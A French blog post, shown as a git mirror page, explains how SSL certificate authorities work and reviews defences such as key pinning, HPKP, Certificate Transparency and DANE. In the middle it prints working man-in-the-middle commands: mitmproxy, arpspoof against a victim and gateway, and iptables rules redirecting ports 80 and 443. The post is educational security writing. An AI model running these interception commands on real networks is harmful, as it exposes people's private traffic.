mirror of
https://github.com/almet/notmyidea.git
synced 2025-04-28 19:42:37 +02:00
Alexis Métaireau
9df3b183b6
- Added the ability to display book cover for the category "Lectures" if ISBN cover is available. - Moved author's name into a small tag for better hierarchy and readability. - Implemented a feature to indicate link sizes depending on the number of articles associated with a given tag. - Implemented a mini footer element displaying an RSS feed icon. - Improved category display using description dictionary. - Added a new plugin "isbn_downloader" to fetch ISBN information when needed. - Included the count of articles for each category. - Implemented changes for better layout and readability of tags and categories. - Adjusted the layout of the webpage, improving the overall look of the page. - Included "requests" in the requirements.txt for supplanting dependencies required by the new plugin and/or features.
209 lines
9.2 KiB
Markdown
209 lines
9.2 KiB
Markdown
Title: Avez vous confiance en SSL?
|
|
Headline: Tour d'horizon du fonctionnement de SSL et des solutions pour le sécuriser.
|
|
Category: crypto
|
|
Image: images/illusion.jpg
|
|
Image_link: https://www.flickr.com/photos/tinou/133982614/in/photolist-cQGn5-9AtoAP-dpiR2X-baBc4e-5ZvGJj-8KrKoG-gg2XM4-9KgHee-6iB7C-4zUNee-9hj2zF-43REk-aoanQb-947pCM-aj1P6z-9tE3g-pq8kRk-qp6hK1-hp13Uh-7ywK7o-4F41Pw-72piQE-22a8kTc-ECJ2r6-6ufU4Y-7WLPTu-5bLdgB-ha8ByJ-jqvD3-LktPD-izBtN4-aa7ABY-pz4aLg-49jEZi-YGoRJ-aCuCH2-4muqSR-7ey33A-6nUDPT-ajeJbN-a89tyX-s3pjm1-9imyxV-WswqNm-aDHw9-cN7MWS-abdTEE-a89tAT-aeVpTf-oAuYHd
|
|
Image_author: Tinou Bao
|
|
Image_license: CC BY 2.0
|
|
|
|
Dans le cadre [des ateliers d'autodéfense numérique](http://autodefense-numerique.readthedocs.org/en/latest/),
|
|
j'ai passé un peu de temps à creuser sur l'utilisation de SSL puisque
|
|
contrairement à ce que la plupart des personnes ont encore tendance à croire,
|
|
le petit cadenas (qui prouve qu'une connexion SSL est en cours) n'est
|
|
**absolument** pas suffisant.
|
|
|
|
Allez hop, c'est parti pour:
|
|
|
|
- un tour d'horizon du fonctionnement de SSl
|
|
- quelques moyens contourner cette "protection" en faisant une attaque en pratique
|
|
- un tour des solutions existantes actuellement et de pourquoi je ne les trouve
|
|
pas vraiment satisfaisantes.
|
|
|
|
## Comment fonctionne SSL?
|
|
|
|
Pour expliquer les problèmes de SSL, j'ai d'abord besoin d'expliquer comment
|
|
tout ça fonctionne.
|
|
|
|
SSL repose sur l'utilisation de certificats, qui sont générés par des autorités
|
|
de certification (*Certificate Authority* que je nomme *CA* dans la suite de
|
|
l'article).
|
|
|
|
Les certificats SSL permettent deux choses:
|
|
|
|
- De garantir que les communications entre les navigateurs (vous) et les sites
|
|
Web ne sont connues que du détenteur du certificat du site et de vous même.
|
|
- De garantir que le site sur lequel vous vous connectez est bien celui que
|
|
vous imaginez.
|
|
|
|
Le navigateur, lors d'une visite d'un site, va télécharger le certificat
|
|
associé puis vérifier que le certificat en question a bien été généré par un
|
|
des *CA* en qui il a confiance.
|
|
|
|
Imaginons maintenant qu'une des *CA* essaye de savoir ce qui s'échange entre
|
|
mon navigateur et le site de ma banque (protégé par SSL). Comment cela se
|
|
passerait il ?
|
|
|
|
N'importe quel *CA* peut donc générer des certificats pour n'importe quel site,
|
|
et le navigateur vérifierait, lui, que le certificat a bien été généré par une
|
|
*CA*.
|
|
|
|
Tout cela ne poserait pas de soucis si les *CA* étaient gérés de manière fiable,
|
|
mais il s'agit d'un travail compliqué, et certains *CA* ont par le passé montré
|
|
des faiblesses.
|
|
|
|
Par exemple, [DigiNotar](https://en.wikipedia.org/wiki/DigiNotar) (un *CA* des Pays-Bas)
|
|
a été compromise et les attaquant.e.s ont pu générer des certificats SSL
|
|
frauduleux, ce qui leur a permis d'attaquer des sites tels que Facebook ou GMail.
|
|
|
|
Vous pouvez retrouver une liste des risques et menaces autour des *CA* [sur le
|
|
wiki de CACert](http://wiki.cacert.org/Risk/History).
|
|
|
|
## Attaque de l'homme du milieu avec SSL
|
|
|
|
A force de dire que c'était très facile à faire, j'ai eu envie d'essayer
|
|
d'espionner des connections protégées par SSL, et effectivement c'est
|
|
carrément flippant tellement c'est simple.
|
|
|
|
En l'espace de quelques minutes, il est possible de faire une *attaque de
|
|
l'homme du milieu* en utilisant par exemple un outil nommé [mitm-proxy](http://docs.mitmproxy.org/en/stable).
|
|
|
|
Pour déchiffrer l'ensemble du trafic SSL, j'ai simplement eu à lancer quelques
|
|
commandes et avoir un *CA* dans lequel le navigateur de la victime a confiance.
|
|
Je l'ai ajouté dans le navigateur cible pour simuler que je l'avais déjà
|
|
(c'est le cas si un des 1200 CA se fait pirater, ce qui me semble une surface
|
|
d'attaque assez large).
|
|
|
|
Je les colle ici si ça vous intéresse:
|
|
|
|
```bash
|
|
$ sudo aptitude install mitmproxy
|
|
$ mitm-proxy -T --host
|
|
```
|
|
|
|
Il faut faire croire à votre victime que vous êtes la passerelle vers
|
|
l'extérieur et à la passerelle que vous êtes la victime:
|
|
|
|
```bash
|
|
arpspoof -i wlan0 -t victime gateway
|
|
arpspoof -i wlan0 -t gateway victime
|
|
```
|
|
|
|
Puis dire à notre fausse passerelle de rediriger le trafic des ports 80 et 443
|
|
vers notre proxy:
|
|
|
|
```bash
|
|
|
|
sudo sysctl -w net.ipv4.ip_forward=1
|
|
sudo iptables -t nat -A PREROUTING -i wlan0 -p tcp --dport 443 -j REDIRECT --to-port 4443
|
|
sudo iptables -t nat -A PREROUTING -i wlan0 -p tcp --dport 80 -j REDIRECT --to-port 4443
|
|
```
|
|
|
|
Et paf, **on voit tout ce qui passe entre la machine et le serveur SSL**. On peut
|
|
d'ailleurs même imaginer faire tourner ces quelques commandes sur un
|
|
raspberry pi, pour aller encore plus vite…
|
|
|
|
### Key-pinning dans les navigateurs
|
|
|
|
Actuellement, n'importe quel *CA* peut générer des certificats pour
|
|
n'importe quel site, et c'est en grande partie ce qui pose souci. Une des
|
|
manières de faire évoluer la situation est d'épingler les certificats de
|
|
certains sites directement dans les navigateurs.
|
|
|
|
Cette approche a le mérite de fonctionner très bien [pour un petit nombre de
|
|
sites critiques (Google, Facebook, etc)](https://dxr.mozilla.org/mozilla-central/source/security/manager/ssl/StaticHPKPins.h?from=StaticHPKPins.h).
|
|
|
|
|
|
### HTTP Public Key Pinning (HPKP)
|
|
|
|
[*HTTP Public Key Pinning*](https://developer.mozilla.org/en/docs/Web/Security/Public_Key_Pinning)
|
|
est également une solution de *pinning* qui permet d'établir une confiance lors
|
|
de la première connexion avec le site. C'est ce qu'on appelle du *Trust on First
|
|
Use* ou *TOFU*.
|
|
|
|
Le navigateur va alors mettre ces informations dans un cache et vérifiera que
|
|
les certificats correspondent bien lors des prochaines visites.
|
|
|
|
*HPKP* est disponible dans Firefox depuis Janvier 2015 et dans Chrome
|
|
depuis Octobre 2015.
|
|
|
|
### Certificate transparency: des journaux auditables
|
|
|
|
Une autre approche est celle proposée par *certificate transparency*:
|
|
|
|
> Certificate Transparency aims to remedy these certificate-based threats by
|
|
> making the issuance and existence of SSL certificates open to scrutiny by
|
|
> domain owners, CAs, and domain users.
|
|
>
|
|
> -- [Certificate Transparency](https://www.certificate-transparency.org/what-is-ct)
|
|
|
|
Autrement dit, avec ce système les *CA* doivent rendre public le fait qu'ils
|
|
aient signé de nouveaux certificats intermédiaires. La signature est ajoutée à
|
|
un journal sur lequel il n'est possible que d'écrire.
|
|
|
|
Les navigateurs vont alors vérifier que les certificats utilisés sont bien des
|
|
certificats qui ont été ajoutés au journal.
|
|
|
|
Ici, toute l'intelligence est dans la vérification de ces journaux, qui
|
|
permettent donc de valider/invalider des certificats racines ou intermédiaires.
|
|
|
|
Il me semble donc qu'il serait possible d'ajouter un certificat frauduleux le
|
|
temps d'une attaque (et celui ci serait détecté et supprimé ensuite).
|
|
|
|
*Certificate-Transparency* n'est donc pas une solution contre une écoute
|
|
globale mise en place par les gouvernements par exemple.
|
|
|
|
Si vous lisez bien l'anglais, je vous invite à aller lire
|
|
[cette description du problème et de la solution](http://security.stackexchange.com/a/52838)
|
|
que je trouve très bien écrite.
|
|
|
|
### DANE + DNSSEC
|
|
|
|
> The DANE working group has developed a framework for securely
|
|
retrieving keying information from the DNS [RFC6698]. This
|
|
framework allows secure storing and looking up server public key
|
|
information in the DNS. This provides a binding between a domain
|
|
name providing a particular service and the key that can be used
|
|
to establish encrypted connection to that service.
|
|
>
|
|
> -- [Dane WG](https://datatracker.ietf.org/wg/dane/charter/)
|
|
|
|
Une autre solution est appelée "DANE" et repose par dessus le protocole
|
|
*DNSSEC*.
|
|
|
|
Je connais assez mal *DNSSEC* donc j'ai passé un peu de temps à lire des
|
|
documents. L'impression finale que ça me laisse est que le problème est
|
|
exactement le même que pour SSL: un certain nombre de personnes détiennent les
|
|
clés et toute la sécurité repose sur cette confiance. Or il est possible que
|
|
ces clés soient détenues par des personnes non dignes de confiance.
|
|
|
|
> Secure DNS (DNSSEC) uses cryptographic digital signatures signed with a
|
|
> trusted public key certificate to determine the authenticity of data.
|
|
> -- https://en.wikipedia.org/wiki/DNS_spoofing
|
|
|
|
Et aussi:
|
|
|
|
> It is widely believed[1] that securing the DNS is critically important for
|
|
securing the Internet as a whole, but deployment of DNSSEC specifically has
|
|
been hampered (As of 22 January 2010) by several difficulties:
|
|
>
|
|
> - The need to design a backward-compatible standard that can scale to the
|
|
> size of the Internet
|
|
> - Prevention of "zone enumeration" (see below) where desired
|
|
> - Deployment of DNSSEC implementations across a wide variety of DNS servers
|
|
> and resolvers (clients)
|
|
> - Disagreement among implementers over who should own the top-level domain
|
|
> root keys Overcoming the perceived complexity of DNSSEC and DNSSEC
|
|
> deployment
|
|
|
|
## Solutions basées sur la blockchain
|
|
|
|
Une dernière piste semble être l'utilisation de la *blockchain* pour distribuer
|
|
des clés par site.
|
|
|
|
La solution *DNSChain* me paraissait tout d'abord un bon point de départ mais
|
|
la lecture de [quelques critiques](https://www.indolering.com/okturtles-dnschain-unblock-us)
|
|
et interventions du développeur du projet m'ont fait changer d'avis.
|
|
|
|
Reste encore la piste de *Namecoin Control* que je n'ai pas encore creusée.
|
|
Peut-être pour un prochain billet. Toute piste de réflexion est bien sur la
|
|
bienvenue sur ces sujets!
|